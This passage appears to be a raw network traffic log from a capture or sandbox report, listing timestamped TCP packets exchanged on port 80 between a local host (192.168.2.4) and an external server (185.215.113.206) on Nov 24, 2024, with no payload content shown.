Nov 24, 2024 02:13:24.173444033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.173492908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.174141884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.174196959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.174238920 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.174407959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.174948931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.174999952 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.175129890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.175180912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.175791979 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.175842047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.175872087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.175915003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.176594019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.176646948 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.176687002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.176736116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.177419901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.177469015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.177529097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.177571058 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.178229094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.178286076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.178333044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.178476095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.179078102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.179130077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.179168940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.179213047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.179864883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.179981947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.180030107 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.180675030 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.180720091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.180794001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.180840015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.181535959 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.181607962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.181731939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.181777954 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.182321072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.182369947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.182430983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.182478905 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.183141947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.183182955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.183249950 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.183298111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.183969021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.184015989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.184149027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.184266090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.184782982 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.184828043 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.184875011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.185056925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.185637951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.185684919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.185730934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.185792923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.186423063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.186476946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.186516047 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.186709881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.187266111 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.187333107 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.187376976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.187484980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.188059092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.188110113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.188155890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.188198090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.188883066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.188941002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.188980103 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.189102888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.189728975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.189776897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.189836025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.189924002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.190541983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.190594912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.190634966 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.190680027 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.191344023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.191395044 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.191448927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.191663980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.192167044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.192224979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.192265987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.192308903 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.192986965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.193042040 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.193079948 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.193186045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.193809032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.193866968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.193917990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.193970919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.194619894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.194722891 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.194737911 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.194786072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.195441961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.195509911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.195554972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.195602894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.196248055 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.196326017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.196351051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.196394920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.197082996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.197187901 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.197194099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.197271109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.197899103 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.197958946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.198005915 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.198101044 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.198764086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.198820114 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.198841095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.198892117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.199541092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.199596882 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.199645996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.199695110 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.200347900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.200445890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.200479984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.200826883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.201185942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.201245070 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.201291084 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.201395988 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.201993942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.202049017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.202095032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.202145100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.202809095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.202862978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.202914953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.203116894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.203654051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.203730106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.203780890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.203849077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.204440117 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.204550028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.204575062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.204610109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.205266953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.205317974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.205373049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.205421925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.206089973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.206165075 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.206197977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.206249952 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.206917048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.206978083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.207027912 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.207133055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.207746029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.207802057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.207855940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.207904100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.208543062 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.208594084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.208647966 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.208719015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.209368944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.209431887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.209477901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.209528923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.210225105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.210346937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.210397959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.211025953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.211091995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.211167097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.211215019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.211899996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.211956024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.211957932 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.212191105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.212658882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.212709904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.212763071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.212835073 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.213500023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.213591099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.213597059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.213634968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.372066021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.372117043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.372133970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.372164011 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.372452974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.372508049 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.372556925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.372634888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.373289108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.373379946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.373425007 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.374062061 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.374135017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.374181986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.374238968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.374886036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.374942064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.374985933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.375036001 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.375688076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.375741005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.375787973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.375878096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.376512051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.376569986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.376610041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.376651049 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.377331972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.377392054 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.377415895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.377460957 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.378159046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.378262997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.378266096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.378305912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.378973007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.379067898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.379082918 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.379370928 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.379800081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.379851103 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.379895926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.379940033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.380656958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.380709887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.380742073 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.380878925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.381436110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.381557941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.381604910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.382253885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.382302046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.382348061 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.382409096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.383126974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.383222103 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.383260012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.383306980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.383984089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.384037971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.384085894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.384198904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.384732962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.384782076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.384829998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.384871006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.385557890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.385605097 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.385678053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.385746956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.386352062 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.386394978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.386476994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.386523008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.387190104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.387243032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.387270927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.387459993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.387994051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.388046026 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.388108969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.388215065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.388813972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.388891935 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.388922930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.388968945 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.389630079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.389682055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.389729023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.389924049 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.390474081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.390490055 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.390527010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.390542984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.391295910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.391400099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.391438007 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.391453028 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.392119884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.392180920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.392216921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.392312050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.392904997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.392955065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.392993927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.393090010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.393786907 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.393841028 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.393903017 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.393954039 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.394558907 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.394614935 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.394691944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.394747972 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.395378113 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.395431995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.395478010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.395523071 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.396186113 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.396239042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.396271944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.396312952 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.397017002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.397066116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.397110939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.397155046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.397829056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.397876978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.397931099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.398070097 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.398658037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.398714066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.398760080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.398804903 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.399463892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.399524927 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.399570942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.399688959 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.400281906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.400336027 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.400413990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.400460958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.401117086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.401164055 CET	49748	80	192.168.2.4	185.215.113.206
